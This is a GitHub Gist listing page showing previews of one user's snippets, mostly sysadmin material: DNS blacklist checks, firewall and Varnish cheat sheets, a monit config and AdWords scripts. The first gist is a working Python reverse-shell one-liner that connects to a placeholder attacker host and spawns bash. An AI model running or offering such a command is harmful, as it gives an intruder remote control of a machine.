Skip to content

Instantly share code, notes, and snippets.

@skinsch
skinsch / python-reverse-shell.txt
Created December 30, 2020 22:18 — forked from lucasgates/python-reverse-shell.txt
Python one-liner to create a reverse shell to listening netcat server.
python -c 'import pty;import socket,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("Kali-IP",443));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);pty.spawn("/bin/bash")'
@skinsch
skinsch / dnslb.inc
Created June 24, 2020 19:20
Latest list of DNS RBLs
BLISTS="
0spam.fusionzero.com
access.redhawk.org
all.rbl.jp
all.rbl.webiron.net
all.s5h.net
all.spamrats.com
aspews.ext.sorbs.net
babl.rbl.webiron.net
backscatter.spameatingmonkey.net
@skinsch
skinsch / dnsbl.sh
Last active June 24, 2020 19:20
Check IP against Mail Blacklists
#!/bin/bash
# -- head.tmpl v0.06 --------------------------------------------------------
BASE=~/projects/mail
export PATH=${PATH}:/usr/bin:/usr/local/sbin:/sbin:/usr/local/bin:${BASE}
[ "`basename -- "$0"|cut -f1 -d.`" = "mk" ] && script=$(basename -- "$0"|cut -f1-2 -d.) || script=$(basename -- "$0"|cut -f1 -d.)
bs=${BASE}/${script}
csv=${bs}.csv; raw=${bs}.raw; log=${bs}.log; tmp=${bs}.tmp;
in=${bs}.in; out=${bs}.out; exm=${bs}.exempt
. ~/colors.inc 2>/dev/null
@skinsch
skinsch / gist:b6c311937f1a969412776ccea9ff3557
Last active June 19, 2023 18:58
IP Tables Cheat Sheet
FirewallD and IPTables Cheat Sheet (Rev: 20230619)
GET FIREWALL STATE
firewall-cmd --state
GET FIREWALL STATUS
systemctl status firewalld
RELOAD
firewall-cmd --reload
Basic pfctl control
General PFCTL Commands
======================
disable packet-filtering:
pfctl -d
enable packet-filtering:
pfctl -e
@skinsch
skinsch / Populate Sheets With AdWords Data.js
Created March 27, 2018 01:19 — forked from siliconvallaeys/Populate Sheets With AdWords Data.js
Populate Google Sheet With Custom AdWords Data
/*
// AdWords Script: Put Data From AdWords Report In Google Sheets
// --------------------------------------------------------------
// Copyright 2017 Optmyzr Inc., All Rights Reserved
//
// This script takes a Google spreadsheet as input. Based on the column headers, data filters, and date range specified
// on this sheet, it will generate different reports.
//
// The goal is to let users create custom automatic reports with AdWords data that they can then include in an automated reporting
// tool like the one offered by Optmyzr.
@skinsch
skinsch / Aggregate Spreadsheet Data By Week or Month.js
Created March 27, 2018 01:17 — forked from siliconvallaeys/Aggregate Spreadsheet Data By Week or Month.js
This Google App Script will aggregate call data from CallRail on a Google Sheet. You can use Zapier to populate data about individual calls on a Google Sheet. Then use this code to aggregate the individual call data by week or month. You may need to edit the code to match your column headers.
var AGGREGATION_RANGE = "month";
function updateAggregateData() {
var dataSheetName = "Raw Data";
var reportSheetName = "For Reports";
var timeAggregatedData = new Array();
var answeredCalls = 0;
var notAnsweredCalls = 0;
@skinsch
skinsch / DockerCheetSheet.md
Last active February 11, 2018 22:13
Docker Cheat Sheet
@skinsch
skinsch / monitrc
Created September 26, 2017 15:59
monit.d
###############################################################################
## Monit control file
###############################################################################
##
## Comments begin with a '#' and extend through the end of the line. Keywords
## are case insensitive. All path's MUST BE FULLY QUALIFIED, starting with '/'.
##
## Below you will find examples of some frequently used statements. For
## information about the control file, a complete list of statements and
## options please have a look in the monit manual.
@skinsch
skinsch / Varnish Cheat Sheet
Last active November 9, 2023 11:12
Varnish Quick Reference Commands
# Check this too
# https://docs.fastly.com/guides/vcl/vcl-regular-expression-cheat-sheet
Health check backend servers:
varnishadm debug.health
Show requests that generate a 404 error:
varnishlog -q 'RespStatus == "404"'|egrep -i "ReqURL|ReqHeader Host:|Forwarded-For"
Show full requests for any 404 errors, 503, etc...